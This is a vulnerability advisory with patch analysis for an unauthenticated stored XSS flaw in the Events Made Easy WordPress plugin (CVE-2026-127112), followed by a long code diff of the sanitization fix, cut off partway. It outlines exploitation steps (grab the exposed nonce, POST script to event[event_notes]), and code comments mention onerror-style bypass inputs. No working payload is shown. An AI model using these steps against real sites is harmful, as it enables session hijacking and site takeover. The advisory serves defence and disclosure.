Published : November 24, 2026

CVE-2026-127112: Events Made Easy <= 3.3.8 Unauthenticated Stored Cross-Site Scripting via 'event[event_notes]' Parameter PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 3.3.8
Patched Version 3.3.9
Disclosed November 18, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-127112: The Events Made Easy plugin for WordPress (versions up to and including 3.3.8) contains an unauthenticated stored cross-site scripting (XSS) vulnerability in the handling of the ‘event[event_notes]’ parameter. The flaw stems from insufficient input sanitization and output escaping in the frontend event submission functionality, allowing an attacker to inject arbitrary JavaScript that executes when a user views the compromised event page. The CVSS score is 7.2 (High). Atomic Edge research confirms that exploitation requires the plugin’s ‘Allow guest submit?’ option to be enabled, but the necessary nonce is exposed to anonymous visitors, making the attack practical.

Root Cause: The root cause lies in the plugin’s sanitization functions within includes/eme-functions.php and includes/eme-events.php. In version 3.3.8, the function eme_kses_maybe_unfiltered() (and its underlying _eme_kses_single()) used a flawed sanitization routine that applied wp_unslash() before wp_kses() and then performed inadequate removal of inline event handlers via a regular expression (#bonw+s*=s*S+(?=.*>)#). This regex could be bypassed with crafted payloads using HTML entity encoding or unusual spacing, and it also failed to account for array inputs or unslashing of already-stored data. Furthermore, the event_notes field was processed via eme_kses_maybe_unfiltered( $_POST[‘content’] ?? ” ) at line 448 of eme-events.php, but the function’s unfiltered_html capability check was performed after the fact, and the sanitization did not reliably strip malicious attributes, especially when the current user lacked unfiltered_html. The patch introduces a new function eme_kses_request_maybe_unfiltered() specifically for request data, which correctly unslashes only request data and applies a more robust sanitization pipeline, including a custom tokenizer to strip inline event handlers (defense-in-depth) and improved handling of script tags.

Exploitation: An unauthenticated attacker can exploit this vulnerability by submitting a crafted POST request to the frontend event submission endpoint. The attacker first obtains a valid nonce from any frontend page where the plugin outputs it (e.g., via a hidden input field or JavaScript variable). Then, the attacker sends a POST request to the same page (or a dedicated submission endpoint) with parameters such as ‘event[event_notes]’ or ‘content’ set to a malicious payload like . The plugin stores this unsanitized value in the database. When any user (including administrators) views the event page, the script executes. Atomic Edge analysis confirms that the attack vector is the ‘event[event_notes]’ parameter, which is processed in eme-events.php at line 448 via eme_kses_maybe_unfiltered(), and also via the frontend submission handler in eme-fs.php (lines 663-685). The required nonce is freely obtainable because it is printed on every frontend page, as stated in the vulnerability description.

Patch Analysis: The patch (version 3.3.9) addresses the issue by refactoring the sanitization functions. It introduces eme_kses_request() and eme_kses_request_maybe_unfiltered() which are explicitly designed for handling request data (applying wp_unslash() only in this context) and use a more thorough sanitization process. The new _eme_kses_single() function (renamed from the old one) now correctly unslashes only when a flag is set, and it replaces the flawed regex-based inline event handler removal with a custom tokenizer ( _eme_strip_inline_event_handlers() ) that parses HTML tags and strips on* attributes more reliably. Additionally, the patch renames eme_sanitize_event() to eme_normalize_event() to clarify that it no longer performs sanitization, and it updates all call sites to use the new request-specific sanitization functions. This ensures that free-text fields like event_notes are sanitized at input time, and re-running sanitization on output is avoided to prevent inconsistent behavior. The patch also adds array slicing to limit the number of items processed, mitigating potential resource exhaustion.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim’s browser. This can lead to session hijacking (stealing cookies), redirection to malicious sites, defacement, or other actions performed with the victim’s privileges. Atomic Edge research indicates that unauthenticated attackers can target administrators and other users who view the injected event, potentially leading to full site compromise if an administrator’s session is hijacked. The vulnerability is rated High severity due to the low attack complexity and the fact that no authentication is required, though it does require the ‘Allow guest submit?’ option to be enabled.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/events-made-easy/events-manager.php
+++ b/events-made-easy/events-manager.php
@@ -6,7 +6,7 @@

 /*
 Plugin Name: Events Made Easy
-Version: 3.3.8
+Version: 3.3.9
 Plugin URI: https://www.e-dynamics.be/wordpress
 Description: Manage and display events and memberships. Also includes recurring events; locations; widgets; maps; RSVP; ICAL and RSS feeds; Paypal, Stripe, Mollie and others.
 Author: Franky Van Liedekerke
@@ -35,7 +35,7 @@
 Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
 */

-define( 'EME_VERSION', '3.3.8' );
+define( 'EME_VERSION', '3.3.9' );
 define( 'EME_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
 define( 'EME_INCLUDE_DIR', EME_PLUGIN_DIR . 'includes/' );
 define( 'EME_PLUGIN_URL', plugin_dir_url( __FILE__ ) );
--- a/events-made-easy/includes/eme-actions.php
+++ b/events-made-easy/includes/eme-actions.php
@@ -825,7 +825,7 @@

     // remove potential unsecured tags
     //$rendered = apply_filters('the_content', $content);
-    $rendered = eme_kses($content);
+    $rendered = eme_kses_request( $content );

     if ( ! empty( $_POST['screen_id'] ) && $_POST['screen_id'] == 'events-made-easy_page_eme-emails' ) {
         $rendered = eme_replaceiframe($rendered);
--- a/events-made-easy/includes/eme-categories.php
+++ b/events-made-easy/includes/eme-categories.php
@@ -46,7 +46,7 @@
 			// category update required
 			$category                  = [];
 			$category['category_name'] = eme_sanitize_request( $_POST['category_name'] );
-			$category['description']   = eme_kses( $_POST['description'] );
+			$category['description']   = eme_kses_request( $_POST['description'] );
 			if ( ! empty( $_POST['category_prefix'] ) ) {
 					$category['category_prefix'] = eme_sanitize_request( $_POST['category_prefix'] );
 			}
--- a/events-made-easy/includes/eme-events.php
+++ b/events-made-easy/includes/eme-events.php
@@ -433,7 +433,7 @@
         $post_vars  = [ 'event_seats', 'price', 'currency', 'event_author', 'event_contactperson_id', 'event_url', 'event_image_url', 'event_image_id', 'event_prefix', 'event_slug', 'event_page_title_format', 'event_contactperson_email_body', 'event_registration_recorded_ok_html', 'event_respondent_email_body', 'event_registration_pending_email_body', 'event_registration_updated_email_body', 'event_registration_cancelled_email_body', 'event_registration_trashed_email_body', 'event_registration_form_format', 'event_cancel_form_format', 'event_registration_paid_email_body' ];
         foreach ( $post_vars as $post_var ) {
             if ( isset( $_POST[ $post_var ] ) ) {
-                $event[ $post_var ] = eme_kses( $_POST[ $post_var ] );
+                $event[ $post_var ] = eme_kses_request( $_POST[ $post_var ] );
             }
         }

@@ -448,8 +448,8 @@
         }

         // event notes and format
-        $event['event_single_event_format'] = eme_kses_maybe_unfiltered( $_POST['event_single_event_format'] ?? '' );
-        $event['event_notes']               = eme_kses_maybe_unfiltered( $_POST['content'] ?? '' );
+        $event['event_single_event_format'] = eme_kses_request_maybe_unfiltered( $_POST['event_single_event_format'] ?? '' );
+        $event['event_notes']               = eme_kses_request_maybe_unfiltered( $_POST['content'] ?? '' );

         if ( ! current_user_can( get_option( 'eme_cap_publish_event' ) ) ) {
             $event['event_status'] = EME_EVENT_STATUS_DRAFT;
@@ -551,7 +551,7 @@
         $i=1;
         while (isset( $_POST[ "eme_attr_{$i}_ref" ] ) && !eme_is_empty_string( $_POST[ "eme_attr_{$i}_ref" ] ) ) {
             if ( !eme_is_empty_string( $_POST[ "eme_attr_{$i}_name" ] ) ) {
-                $event_attributes[ $_POST[ "eme_attr_{$i}_ref" ] ] = eme_kses( $_POST[ "eme_attr_{$i}_name" ] );
+                $event_attributes[ $_POST[ "eme_attr_{$i}_ref" ] ] = eme_kses_request( $_POST[ "eme_attr_{$i}_name" ] );
             }
             $i++;
         }
@@ -568,7 +568,7 @@
                 } elseif ( $found_key == 'multiprice_desc' ) {
                     $event_properties[ $found_key ] = eme_convert_array2multi( eme_sanitize_request( eme_text_split_newlines( $value ) ) );
                 } else {
-                    $event_properties[ $found_key ] = eme_kses( $value );
+                    $event_properties[ $found_key ] = eme_kses_request( $value );
                 }
             }
             if ( preg_match( '/eme_loc_prop_(.+)/', eme_sanitize_request( $key ), $matches ) ) {
@@ -576,7 +576,7 @@
                 if ( preg_match( '/password/', $found_key ) ) {
                     $location_properties[ $found_key ] = $value;
                 } else {
-                    $location_properties[ $found_key ] = eme_kses( $value );
+                    $location_properties[ $found_key ] = eme_kses_request( $value );
                 }
             }
         }
@@ -587,8 +587,8 @@
         $event['event_properties']       = eme_init_event_props( $event_properties );
         $location['location_properties'] = eme_init_location_props( $location_properties );

-        $event             = eme_sanitize_event( $event );
-        $location          = eme_sanitize_location( $location );
+        $event             = eme_normalize_event( $event );
+        $location          = eme_normalize_location( $location );
         $validation_result = eme_validate_event( $event );
         if ( !empty($validation_result) ) {
             // validation unsuccessful
@@ -6134,7 +6134,7 @@
                     $event_id = eme_check_event_external_ref( $line['event_external_ref'] );
                 }

-                $line = eme_sanitize_event( $line );
+                $line = eme_normalize_event( $line );
                 if ( $event_id ) {
                     // event_id is returned if update is ok, and we use the location id later on
                     $event_id = eme_db_update_event( $line, $event_id );
@@ -9319,7 +9319,15 @@
     }
 }

-function eme_sanitize_event( $event ) {
+// Normalizes an event array: removes unwanted fields, fixes the start/end
+// datetimes, seats, prices and derived properties.
+//
+// It deliberately does NOT filter HTML. Free-text fields (e.g. event_notes,
+// event_single_event_format) must be sanitized by the caller at input time
+// using eme_kses_request()/eme_kses_request_maybe_unfiltered(). Re-running kses
+// here would re-evaluate the *current* user's unfiltered_html capability against
+// already-stored data and could silently strip content on a later save.
+function eme_normalize_event( $event ) {
     // remove possible unwanted fields
     if ( isset( $event['event_id'] ) ) {
         unset( $event['event_id'] );
@@ -9464,6 +9472,11 @@
     return $event;
 }

+// backwards compatible
+function eme_sanitize_event( $event ) {
+    return eme_normalize_event( $event );
+}
+
 function eme_db_insert_event( $line, $event_is_part_of_recurrence = 0, $day_difference = 0, $plugin_installing = 0 ) {
     global $wpdb;

@@ -10651,7 +10664,7 @@
             $field_id  = intval( $matches[1] );
             $formfield = eme_get_formfield( $field_id );
             if ( ! empty( $formfield ) && $formfield['field_purpose'] == 'events' ) {
-                $value = eme_kses_maybe_unfiltered( $value );
+                $value = eme_kses_request_maybe_unfiltered( $value );
                 // for multivalue fields like checkbox, the value is in fact an array
                 // to store it, we make it a simple "multi" string using eme_convert_array2multi, so later on when we need to parse the values
                 // (when editing), we can re-convert it to an array with eme_convert_multi2array (see eme_formfields.php)
@@ -10773,6 +10786,9 @@
         return [];
     }

+    // let's not filter for more than 20 things
+    $val = array_slice( $val, 0, 20 );
+
     $table = $wpdb->prefix . 'eme_answers';

     // Build the query using proper prepared statements
--- a/events-made-easy/includes/eme-formfields.php
+++ b/events-made-easy/includes/eme-formfields.php
@@ -82,7 +82,7 @@
                 if (eme_is_empty_string($_POST['field_tags'] )) {
                     $field_tags_arr = [];
                 } else {
-                    $field_tags_arr = eme_kses( eme_convert_multi2array(eme_convert_array2multi( eme_text_split_newlines( $_POST['field_tags'] ) )));
+                    $field_tags_arr = eme_kses_request( eme_convert_multi2array(eme_convert_array2multi( eme_text_split_newlines( $_POST['field_tags'] ) )));
                 }
                 if (eme_is_empty_string($_POST['admin_values'] )) {
                     $admin_values_arr = [];
@@ -92,7 +92,7 @@
                 if (eme_is_empty_string($_POST['admin_tags'] )) {
                     $admin_tags_arr = [];
                 } else {
-                    $admin_tags_arr = eme_kses( eme_convert_multi2array(eme_convert_array2multi( eme_text_split_newlines( $_POST['admin_tags'] ) )));
+                    $admin_tags_arr = eme_kses_request( eme_convert_multi2array(eme_convert_array2multi( eme_text_split_newlines( $_POST['admin_tags'] ) )));
                 }

                 // some sanity checks
--- a/events-made-easy/includes/eme-fs.php
+++ b/events-made-easy/includes/eme-fs.php
@@ -663,7 +663,7 @@
         $preserved_notes = $_POST['event']['event_notes'] ?? null;
         $preserved_single_event_format = $_POST['event']['event_single_event_format'] ?? null;
         $preserved_location_description = $_POST['event']['location_description'] ?? null;
-        $event_data = eme_kses($_POST['event']);
+        $event_data = eme_kses_request($_POST['event']);
         if ( ! is_array( $event_data ) ) {
             $event_data = [];
         }
@@ -673,21 +673,21 @@
             }
         }
         if ( $preserved_notes !== null ) {
-            $event_data['event_notes'] = eme_kses_maybe_unfiltered( $preserved_notes );
+            $event_data['event_notes'] = eme_kses_request_maybe_unfiltered( $preserved_notes );
         }
         if ( $preserved_single_event_format !== null ) {
-            $event_data['event_single_event_format'] = eme_kses_maybe_unfiltered( $preserved_single_event_format );
+            $event_data['event_single_event_format'] = eme_kses_request_maybe_unfiltered( $preserved_single_event_format );
         }
         if ( $preserved_location_description !== null ) {
-            $event_data['location_description'] = eme_kses_maybe_unfiltered( $preserved_location_description );
+            $event_data['location_description'] = eme_kses_request_maybe_unfiltered( $preserved_location_description );
         }
     }
     // add in the event_attributes and properties
     if (isset($_POST['event_attributes']) && !empty($_POST['event_attributes']) && is_array($_POST['event_attributes'])) {
-        $event_data['event_attributes'] = eme_kses($_POST['event_attributes']);
+        $event_data['event_attributes'] = eme_kses_request($_POST['event_attributes']);
     }
     if (isset($_POST['event_properties']) && !empty($_POST['event_properties']) && is_array($_POST['event_properties'])) {
-        $event_data['event_properties'] = eme_kses($_POST['event_properties']);
+        $event_data['event_properties'] = eme_kses_request($_POST['event_properties']);
         // validate wp_page_template against the theme's allow-list
         if ( ! empty( $event_data['event_properties']['wp_page_template'] ) ) {
             $allowed_templates = array_values( wp_get_theme()->get_page_templates() );
@@ -800,7 +800,7 @@
         if ($eme_fs_options['price']>0 && $pg_count>0) {
             $event_data['event_status'] = EME_EVENT_STATUS_FS_DRAFT;
         }
-        $event_data = eme_sanitize_event($event_data);
+        $event_data = eme_normalize_event($event_data);
         $validation_result = '';
         if (has_filter('eme_fs_validate_event_filter')) {
             $validation_result = apply_filters( 'eme_fs_validate_event_filter', $event_data );
@@ -883,7 +883,7 @@
     if (empty($location['location_name']) && empty($location['location_address1']) && empty($location['location_latitude']) && empty($location['location_longitude'])) {
         return 0;
     }
-    $location = eme_sanitize_location($location);
+    $location = eme_normalize_location($location);
     $location_id=eme_get_identical_location_id($location);
     if (!$location_id ) {
         $validation_result = eme_validate_location ( $location );
--- a/events-made-easy/includes/eme-functions.php
+++ b/events-made-easy/includes/eme-functions.php
@@ -2590,7 +2590,141 @@
     return $array;
 }

-function _eme_kses_single( $value, $allow_unfiltered ) {
+function _eme_find_html_tag_end( $html, $start ) {
+    $length = strlen( $html );
+    if ( 0 === substr_compare( $html, '<!--', $start, 4 ) ) {
+        $end = strpos( $html, '-->', $start + 4 );
+        return false === $end ? false : $end + 2;
+    }
+    $quote = '';
+    for ( $i = $start + 1; $i < $length; ++$i ) {
+        $char = $html[ $i ];
+        if ( '' !== $quote ) {
+            if ( $char === $quote ) {
+                $quote = '';
+            }
+            continue;
+        }
+        if ( '"' === $char || "'" === $char ) {
+            $quote = $char;
+            continue;
+        }
+        if ( '>' === $char ) {
+            return $i;
+        }
+    }
+    return false;
+}
+
+// Best-effort removal of inline event handler attributes (on*) from a single tag.
+// This is defense-in-depth only, NOT a security boundary: it is a hand-rolled
+// tokenizer and is never the sole protection for untrusted input. The filtered
+// (non-unfiltered_html) path relies on wp_kses() instead; the unfiltered path
+// trusts the user by definition (WordPress grants them raw HTML).
+function _eme_strip_event_attributes_from_tag( $tag ) {
+    $length = strlen( $tag );
+    if ( $length < 2 || '<' !== $tag[0] || '/' === $tag[1] || '!' === $tag[1] || '?' === $tag[1] ) {
+        return $tag;
+    }
+    $i = 1;
+    while ( $i < $length && ! ctype_space( $tag[ $i ] ) && '/' !== $tag[ $i ] && '>' !== $tag[ $i ] ) {
+        ++$i;
+    }
+    $out = substr( $tag, 0, $i );
+    while ( $i < $length ) {
+        $whitespace_start = $i;
+        while ( $i < $length && ( ctype_space( $tag[ $i ] )
+            || ( '/' === $tag[ $i ] && ! ( $i + 1 < $length && '>' === $tag[ $i + 1 ] ) ) ) ) {
+            ++$i;
+        }
+        $whitespace = substr( $tag, $whitespace_start, $i - $whitespace_start );
+        if ( $i >= $length ) {
+            $out .= $whitespace;
+            break;
+        }
+        if ( '>' === $tag[ $i ] || ( '/' === $tag[ $i ] && $i + 1 < $length && '>' === $tag[ $i + 1 ] ) ) {
+            $out .= $whitespace . substr( $tag, $i );
+            break;
+        }
+        $attribute_start = $i;
+        while ( $i < $length ) {
+            $char = $tag[ $i ];
+            if ( ctype_space( $char ) || '=' === $char || '>' === $char || '/' === $char ) {
+                break;
+            }
+            ++$i;
+        }
+        $attribute_name = substr( $tag, $attribute_start, $i - $attribute_start );
+        if ( '' === $attribute_name ) {
+            $out .= $whitespace . $tag[ $i ];
+            ++$i;
+            continue;
+        }
+        while ( $i < $length && ctype_space( $tag[ $i ] ) ) {
+            ++$i;
+        }
+        if ( $i < $length && '=' === $tag[ $i ] ) {
+            ++$i;
+            while ( $i < $length && ctype_space( $tag[ $i ] ) ) {
+                ++$i;
+            }
+            if ( $i < $length ) {
+                $quote = $tag[ $i ];
+                if ( '"' === $quote || "'" === $quote ) {
+                    ++$i;
+                    while ( $i < $length && $tag[ $i ] !== $quote ) {
+                        ++$i;
+                    }
+                    if ( $i < $length ) {
+                        ++$i;
+                    }
+                } else {
+                    while ( $i < $length && ! ctype_space( $tag[ $i ] ) && '>' !== $tag[ $i ] ) {
+                        if ( '/' === $tag[ $i ] && $i + 1 < $length && '>' === $tag[ $i + 1 ] ) {
+                            break;
+                        }
+                        ++$i;
+                    }
+                }
+            }
+        }
+        $attribute = substr( $tag, $attribute_start, $i - $attribute_start );
+        if ( strlen( $attribute_name ) <= 2 || 0 !== stripos( $attribute_name, 'on' ) ) {
+            $out .= $whitespace . $attribute;
+        }
+    }
+    return $out;
+}
+
+function _eme_strip_inline_event_handlers( $html ) {
+    $length = strlen( $html );
+    $out    = '';
+    $offset = 0;
+    while ( $offset < $length ) {
+        $tag_start = strpos( $html, '<', $offset );
+        if ( false === $tag_start ) {
+            $out .= substr( $html, $offset );
+            break;
+        }
+        $out .= substr( $html, $offset, $tag_start - $offset );
+        $next = $tag_start + 1 < $length ? $html[ $tag_start + 1 ] : '';
+        if ( ! ctype_alpha( $next ) && '/' !== $next && '!' !== $next && '?' !== $next ) {
+            $out .= '<';
+            $offset = $tag_start + 1;
+            continue;
+        }
+        $tag_end = _eme_find_html_tag_end( $html, $tag_start );
+        if ( false === $tag_end ) {
+            $out .= _eme_strip_event_attributes_from_tag( substr( $html, $tag_start ) );
+            break;
+        }
+        $out .= _eme_strip_event_attributes_from_tag( substr( $html, $tag_start, $tag_end - $tag_start + 1 ) );
+        $offset = $tag_end + 1;
+    }
+    return $out;
+}
+
+function _eme_kses_single( $value, $allow_unfiltered, $unslash ) {
     if ( empty( $value ) ) {
         return $value;
     }
@@ -2599,15 +2733,23 @@
     // <img onerror=...> to sneak past wp_kses and reappear as live markup
     // once the browser decodes it again on render
     $value = html_entity_decode( $value, ENT_QUOTES, 'UTF-8' );
+    // Only request data is slashed by WordPress; stored values must not be unslashed again.
+    if ( $unslash ) {
+        $value = wp_unslash( $value );
+    }
     // To filter out JS, we should use domdocument, but the problem is that sometimes the
     // html is intentional incomplete, which would cause issues with domdocument
     // See https://codereview.stackexchange.com/questions/30045/regex-to-remove-inline-javascript-from-string
     if ( $allow_unfiltered ) {
-        // even for unfiltered: strip out javascript
-        $res = preg_replace( '#<s*script.*?>.*?<s*/s*scripts*>#is', '', wp_unslash( $value ) );
-        # also strip out inline javascript (onalert etc)
-        $res = preg_replace_callback( '#<[^>]+>#', function( $m ) { return preg_replace( '#s+onw+s*=s*("[^"]*"|'[^']*'|[^s>]+)#i', '', $m[0] ); }, $res );
-        return $res;
+        // The user has the unfiltered_html capability (WordPress would store their
+        // raw HTML), so this branch cannot be a real security boundary. We still do
+        // a best-effort cleanup (strip script elements and inline on* handlers).
+        // Untrusted input always goes through the wp_kses() branch below.
+        // Remove complete script elements first, then any stray opening/closing
+        // script tags (an unclosed <script src=...> would otherwise survive).
+        $res = preg_replace( '#<s*scriptb[^>]*>.*?<s*/s*scripts*>#is', '', $value );
+        $res = preg_replace( '#<s*/?s*scriptb[^>]*>#is', '', $res );
+        return _eme_strip_inline_event_handlers( $res );
     }
     $allowed_html = wp_kses_allowed_html( 'post' );
     // this option is per line
@@ -2637,39 +2779,40 @@
     add_filter( 'safe_style_css', 'eme_safe_css_attributes' );
     add_filter( 'safecss_filter_attr_allow_css', 'eme_safe_css_allow_color_functions', 10, 2 );
     // brute-force remove script tags, even if wp_kses wouldn't do it
-    $res = preg_replace( '#<s*script(.*?)>(.*?)<s*/s*scripts*>#is', '', wp_kses( wp_unslash( $value ), $allowed_html ) );
-    # also strip out inline javascript (onalert etc)
-    $res = preg_replace( '#bonw+s*=s*S+(?=.*>)#', '', $res );
+    $res = preg_replace( '#<s*script(.*?)>(.*?)<s*/s*scripts*>#is', '', wp_kses( $value, $allowed_html ) );
+    $res = _eme_strip_inline_event_handlers( $res );
     remove_filter( 'safecss_filter_attr_allow_css', 'eme_safe_css_allow_color_functions', 10, 2 );
     remove_filter( 'safe_style_css', 'eme_safe_css_attributes' );
     return $res;
 }

-function eme_kses( $value ) {
-    $allow_unfiltered = 0;
+function _eme_kses_value( $value, $allow_unfiltered, $unslash ) {
     if ( is_array( $value ) ) {
-        return array_map( 'eme_kses', $value );
-    } else {
-        return _eme_kses_single( $value, $allow_unfiltered );
+        return array_map( static function( $v ) use ( $allow_unfiltered, $unslash ) {
+            return _eme_kses_value( $v, $allow_unfiltered, $unslash );
+        }, $value );
     }
+    return _eme_kses_single( $value, $allow_unfiltered, $unslash );
 }

-function eme_kses_maybe_unfiltered( $value ) {
-    $allow_unfiltered = 1;
+function eme_kses_request( $value ) {
+    return _eme_kses_value( $value, 0, true );
+}
+
+function eme_kses( $value ) {
+    return _eme_kses_value( $value, 0, false );
+}
+
+function eme_kses_request_maybe_unfiltered( $value ) {
     // if allow_unfiltered is on: check if the user is actually allowed do it
-    if ( ! current_user_can( 'unfiltered_html' ) ) {
-        $allow_unfiltered = 0;
-    }
-    if ( is_array( $value ) ) {
-        return array_map( 'eme_kses_maybe_unfiltered', $value );
-    } else {
-        return _eme_kses_single( $value, $allow_unfiltered );
-    }
+    $allow_unfiltered = current_user_can( 'unfiltered_html' ) ? 1 : 0;
+    return _eme_kses_value( $value, $allow_unfiltered, true );
 }

-// backwards compatible
-function eme_strip_js( $value ) {
-    return eme_kses( $value );
+function eme_kses_maybe_unfiltered( $value ) {
+    // if allow_unfiltered is on: check if the user is actually allowed do it
+    $allow_unfiltered = current_user_can( 'unfiltered_html' ) ? 1 : 0;
+    return _eme_kses_value( $value, $allow_unfiltered, false );
 }

 function eme_strip_weird( $value ) {
@@ -4761,10 +4904,6 @@
     return "<div class='notice notice-error $dismiss_class eme-message-admin'>" . wp_kses_post( $message ) . '</div>';
 }

-// backwars compatible
-function eme_apply_output_filters( $replacement, $target, $esc_html = false ) {
-    return eme_sanitize_placeholder_output( $replacement, $target, $esc_html, false );
-}
 function eme_neutralize_template_syntax( $value, $target = 'html' ) {
     if ( is_array( $value ) ) {
         return array_map(
@@ -4791,7 +4930,7 @@

 function eme_sanitize_placeholder_output( $replacement, $target, $esc_html = false, $neutralize = true ) {
     if ( $target == 'html' || $target == 'htmlmail' ) {
-        $replacement = eme_kses($replacement);
+        $replacement = eme_kses( $replacement );
         if ( $esc_html ) {
             $replacement = esc_html( $replacement );
         }
--- a/events-made-easy/includes/eme-install.php
+++ b/events-made-easy/includes/eme-install.php
@@ -393,7 +393,7 @@
 		$event['event_start'] = "$in_one_week 16:00:00";
 		$event['event_end']   = "$in_one_week 18:00:00";
 		$event['location_id'] = 1;
-		$event                = eme_sanitize_event( $event );
+		$event                = eme_normalize_event( $event );
 		// the fourth param is 1 to indicate we're in plugin install mode
 		// this will cause eme_db_insert_event to check the prefix itself
 		// since during install plugin globals are not available ...
@@ -404,7 +404,7 @@
 		$event['event_start'] = "$in_four_weeks 20:00:00";
 		$event['event_end']   = "$in_four_weeks 22:00:00";
 		$event['location_id'] = 2;
-		$event                = eme_sanitize_event( $event );
+		$event                = eme_normalize_event( $event );
 		// the fourth param is 1 to indicate we're in plugin install mode
 		// this will cause eme_db_insert_event to check the prefix itself
 		// since during install plugin globals are not available ...
@@ -415,7 +415,7 @@
 		$event['event_start'] = "$in_one_year 22:00:00";
 		$event['event_end']   = "$in_one_year 23:59:59";
 		$event['location_id'] = 3;
-		$event                = eme_sanitize_event( $event );
+		$event                = eme_normalize_event( $event );
 		// the fourth param is 1 to indicate we're in plugin install mode
 		// this will cause eme_db_insert_event to check the prefix itself
 		// since during install plugin globals are not available ...
--- a/events-made-easy/includes/eme-locations.php
+++ b/events-made-easy/includes/eme-locations.php
@@ -127,7 +127,7 @@
                 }
             }
             //switched to WP TinyMCE field
-            $location['location_description'] = eme_kses_maybe_unfiltered( $_POST['location_description'] );
+            $location['location_description'] = eme_kses_request_maybe_unfiltered( $_POST['location_description'] );

             if ( isset( $_POST['location_category_ids'] ) && eme_is_integer_array( $_POST['location_category_ids'] ) ) {
                 $location ['location_category_ids'] = join( ',', array_map( 'intval', $_POST['location_category_ids'] ) );
@@ -139,7 +139,7 @@
             $i=1;
             while (isset( $_POST[ "eme_attr_{$i}_ref" ] ) && !eme_is_empty_string( $_POST[ "eme_attr_{$i}_ref" ] ) ) {
                 if ( !eme_is_empty_string( $_POST[ "eme_attr_{$i}_name" ] ) ) {
-                    $location_attributes[ $_POST[ "eme_attr_{$i}_ref" ] ] = eme_kses( $_POST[ "eme_attr_{$i}_name" ] );
+                    $location_attributes[ $_POST[ "eme_attr_{$i}_ref" ] ] = eme_kses_request( $_POST[ "eme_attr_{$i}_name" ] );
                 }
                 $i++;
             }
@@ -152,13 +152,13 @@
                     if ( preg_match( '/password/', $found_key ) ) {
                         $location_properties[ $found_key ] = $value;
                     } else {
-                        $location_properties[ $found_key ] = eme_kses( $value );
+                        $location_properties[ $found_key ] = eme_kses_request( $value );
                     }
                 }
             }
             $location['location_properties'] = eme_init_location_props( $location_properties );

-            $location          = eme_sanitize_location( $location );
+            $location          = eme_normalize_location( $location );
             $validation_result = eme_validate_location( $location );
             if ( $validation_result == 'OK' ) {
                 if ( $action == 'do_addlocation' ) {
@@ -1368,7 +1368,15 @@
     return $wpdb->get_var( $prepared_sql ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
 }

-function eme_sanitize_location( $location ) {
+// Normalizes a location array: removes unwanted fields, fixes URLs, coerces
+// lat/long and id fields, and derives the slug.
+//
+// It deliberately does NOT filter HTML. Free-text fields (e.g.
+// location_description) must be sanitized by the caller at input time using
+// eme_kses_request()/eme_kses_request_maybe_unfiltered(). Re-running kses here
+// would re-evaluate the *current* user's unfiltered_html capability against
+// already-stored data and could silently strip content on a later save.
+function eme_normalize_location( $location ) {
     // remove possible unwanted fields
     if ( isset( $location['location_id'] ) ) {
         unset( $location['location_id'] );
@@ -1418,14 +1426,14 @@
         }
     }

-    $preserved_description = $location['location_description'] ?? null;
-    $location = eme_kses( $location );
-    if ( $preserved_description !== null ) {
-        $location['location_description'] = eme_kses_maybe_unfiltered($preserved_description);
-    }
     return $location;
 }

+// backwards compatible
+function eme_sanitize_location( $location ) {
+    return eme_normalize_location( $location );
+}
+
 function eme_validate_location( $location ) {
     $location_required_fields = [
         'location_name'     => __( 'The location name', 'events-made-easy' ),
@@ -3403,7 +3411,7 @@
             $field_id  = intval( $matches[1] );
             $formfield = eme_get_formfield( $field_id );
             if ( ! empty( $formfield ) && $formfield['field_purpose'] == 'locations' ) {
-                $value = eme_kses_maybe_unfiltered( $value );
+                $value = eme_kses_request_maybe_unfiltered( $value );
                 // for multivalue fields like checkbox, the value is in fact an array
                 // to store it, we make it a simple "multi" string using eme_convert_array2multi, so later on when we need to parse the values
                 // (when editing), we can re-convert it to an array with eme_convert_multi2array (see eme_formfields.php)
@@ -3493,6 +3501,9 @@
         return [];
     }

+    // let's not filter for more than 20 things
+    $val = array_slice( $val, 0, 20 );
+
     $table = $wpdb->prefix . 'eme_answers';

     // Build the query using proper prepared statements
--- a/events-made-easy/includes/eme-mailer.php
+++ b/events-made-easy/includes/eme-mailer.php
@@ -2495,7 +2495,7 @@
     }

     if ( ! empty( $_POST['generic_mail_message'] ) ) {
-        $mail_message = eme_kses_maybe_unfiltered( $_POST['generic_mail_message'] );
+        $mail_message = eme_kses_request_maybe_unfiltered( $_POST['generic_mail_message'] );
     } elseif ( isset( $_POST['generic_message_template'] ) && intval( $_POST['generic_message_template'] ) > 0 ) {
         $mail_message = eme_get_template_format_plain( intval( $_POST['generic_message_template'] ) );
     } else {
@@ -2554,7 +2554,7 @@
     }

     if ( ! empty( $_POST['event_mail_message'] ) ) {
-        $mail_message = eme_kses_maybe_unfiltered( $_POST['event_mail_message'] );
+        $mail_message = eme_kses_request_maybe_unfiltered( $_POST['event_mail_message'] );
     } elseif ( isset( $_POST['event_message_template'] ) && intval( $_POST['event_message_template'] ) > 0 ) {
         $mail_message = eme_get_template_format_plain( intval( $_POST['event_message_template'] ) );
     } else {
--- a/events-made-easy/includes/eme-members.php
+++ b/events-made-easy/includes/eme-members.php
@@ -1162,7 +1162,7 @@
             }
         }
         if ( isset( $_POST['properties'] ) ) {
-            $member['properties'] = eme_kses( $_POST['properties'] );
+            $member['properties'] = eme_kses_request( $_POST['properties'] );
         }
         // usage_count needs to be an int
         if ( isset( $member['properties']['usage_count'] ) ) {
@@ -1570,7 +1570,7 @@
             if ( preg_match( '/password/', $key ) ) {
                 $membership_properties[ $key ] = $value;
             } else {
-                $membership_properties[ $key ] = eme_kses( $value );
+                $membership_properties[ $key ] = eme_kses_request( $value );
             }
         }
         $membership['properties'] = $membership_properties;
@@ -7685,7 +7685,7 @@
             $field_id  = intval( $matches[1] );
             $formfield = eme_get_formfield( $field_id );
             if ( ! empty( $formfield ) && $formfield['field_purpose'] == 'memberships' ) {
-                $value = eme_kses_maybe_unfiltered( $value );
